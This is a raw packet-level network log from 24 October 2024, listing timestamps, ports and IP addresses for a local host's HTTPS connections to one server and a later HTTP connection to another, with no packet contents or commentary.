Oct 24, 2024 11:02:19.676954031 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:19.676969051 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:20.285293102 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:20.285475016 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:20.287157059 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:20.287164927 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:20.287604094 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:20.289541006 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:20.289731026 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:20.289768934 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:20.289832115 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:20.289838076 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:20.832525969 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:20.832777023 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:20.832896948 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:20.833025932 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:20.833062887 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:21.048258066 CEST	49717	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:21.048310995 CEST	443	49717	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:21.048394918 CEST	49717	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:21.048734903 CEST	49717	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:21.048751116 CEST	443	49717	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:21.660185099 CEST	443	49717	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:21.660320997 CEST	49717	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:21.661596060 CEST	49717	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:21.661607981 CEST	443	49717	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:21.661942005 CEST	443	49717	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:21.663104057 CEST	49717	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:21.663289070 CEST	49717	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:21.663331032 CEST	443	49717	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:21.663388014 CEST	49717	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:21.663394928 CEST	443	49717	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:22.228539944 CEST	443	49717	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:22.228648901 CEST	443	49717	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:22.228715897 CEST	49717	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:22.228900909 CEST	49717	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:22.228926897 CEST	443	49717	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:22.417359114 CEST	49728	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:22.417392015 CEST	443	49728	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:22.417463064 CEST	49728	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:22.417778015 CEST	49728	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:22.417793036 CEST	443	49728	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:23.378470898 CEST	443	49728	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:23.378559113 CEST	49728	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:23.379798889 CEST	49728	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:23.379805088 CEST	443	49728	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:23.380198956 CEST	443	49728	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:23.381438971 CEST	49728	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:23.381561041 CEST	49728	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:23.381567001 CEST	443	49728	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:23.719841003 CEST	443	49728	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:23.720115900 CEST	443	49728	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:23.720195055 CEST	49728	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:23.720252037 CEST	49728	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:23.720269918 CEST	443	49728	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:24.400852919 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:24.400912046 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:24.401020050 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:24.401483059 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:24.401501894 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:25.104082108 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:25.104238033 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.107004881 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.107017994 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:25.107707024 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:25.109431028 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.110589981 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.110630989 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:25.110757113 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.110794067 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:25.110898972 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.110966921 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:25.111098051 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.111116886 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:25.111249924 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.111267090 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:25.111416101 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.111433029 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:25.111439943 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.111574888 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.111592054 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.131635904 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:25.131814957 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.131850004 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.131859064 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:25.131864071 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.131906986 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:25.132014990 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.132040024 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:25.132040977 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.132072926 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:25.137372017 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:26.774234056 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:26.774460077 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:26.774691105 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:26.774691105 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:26.785944939 CEST	49750	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:26.786030054 CEST	443	49750	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:26.786143064 CEST	49750	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:26.786581039 CEST	49750	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:26.786602020 CEST	443	49750	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:27.090200901 CEST	49734	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:27.090228081 CEST	443	49734	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:27.395479918 CEST	443	49750	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:27.395672083 CEST	49750	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:27.397691011 CEST	49750	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:27.397713900 CEST	443	49750	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:27.398071051 CEST	443	49750	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:27.399663925 CEST	49750	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:27.399713993 CEST	49750	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:27.399774075 CEST	443	49750	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:27.723272085 CEST	443	49750	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:27.723414898 CEST	443	49750	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:27.723515034 CEST	49750	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:27.723767996 CEST	49750	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:27.723820925 CEST	443	49750	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:27.723855019 CEST	49750	443	192.168.2.6	104.21.53.8
Oct 24, 2024 11:02:27.723871946 CEST	443	49750	104.21.53.8	192.168.2.6
Oct 24, 2024 11:02:27.725784063 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:27.731132030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:27.731291056 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:27.731507063 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:27.736896992 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.651643038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.651664019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.651676893 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.651689053 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.651701927 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.651722908 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.651736021 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.651772976 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.651839972 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.651853085 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.651868105 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.651890039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.651890039 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.651940107 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.657320023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.657355070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.657366037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.657416105 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.699518919 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.811053038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.811074018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.811088085 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.811098099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.811147928 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.811163902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.811177015 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.811178923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.811191082 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.811214924 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.812040091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.812093019 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.812114000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.812127113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.812139034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.812151909 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.812161922 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.812191010 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.812846899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.812894106 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.812906027 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.812933922 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.813338041 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.813349962 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.813360929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.813383102 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.813411951 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.929583073 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.929604053 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.929615974 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.929620981 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.929634094 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.929681063 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.929719925 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.929923058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.930001020 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.930021048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.970026016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.970068932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.970105886 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.970314980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.970391035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.970398903 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.970460892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.970473051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.970484018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.970511913 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.970530987 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.970829010 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.970853090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.970866919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.970877886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.970889091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.970912933 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.971023083 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:28.971532106 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.971575975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:28.971597910 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.012044907 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.047941923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.048016071 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.048027039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.048094034 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.048108101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.048160076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.048160076 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.048170090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.048226118 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.048345089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.048357964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.048374891 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.048425913 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.089248896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.089291096 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.089304924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.089318037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.089327097 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.089332104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.089344978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.089349031 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.089376926 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.089641094 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.089694023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.089704990 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.089804888 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.089816093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.089829922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.089863062 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.089874029 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.131462097 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.131474018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.131486893 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.131556034 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.166685104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.166742086 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.166743994 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.166754007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.166764975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.166778088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.166811943 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.166865110 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.167124987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.167136908 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.167180061 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.167221069 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.167293072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.167335033 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.207763910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.207775116 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.207781076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.207818985 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.207828999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.207887888 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.207967043 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.208051920 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.208093882 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.208118916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.208131075 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.208158970 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.208169937 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.208193064 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.208208084 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.247847080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.247864008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.247880936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.247935057 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.249027014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.249056101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.249072075 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.285248995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.285304070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.285314083 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.285320997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.285368919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.285372972 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.285458088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.285473108 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.285490036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.285516024 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.285527945 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.326611996 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.326641083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.326657057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.326673031 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.326688051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.326706886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.326781988 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.326781988 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.327009916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.327024937 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.327042103 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.327055931 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.327075958 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.327106953 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.327523947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.327541113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.327557087 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.327589989 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.366492033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.366517067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.366535902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.366548061 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.366585016 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.367671013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.367685080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.367729902 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.757782936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.757805109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.757829905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.757838011 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.757859945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.757874966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.757927895 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.757980108 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.758109093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.758152008 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.758161068 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.758167028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.758177042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.758193016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.758208036 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.758212090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.758219004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.758233070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.758246899 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.758260012 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.758268118 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.758275032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.758290052 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:29.758301020 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:29.758305073 CEST	80	49756	185.215.113.16	192.168.2.6
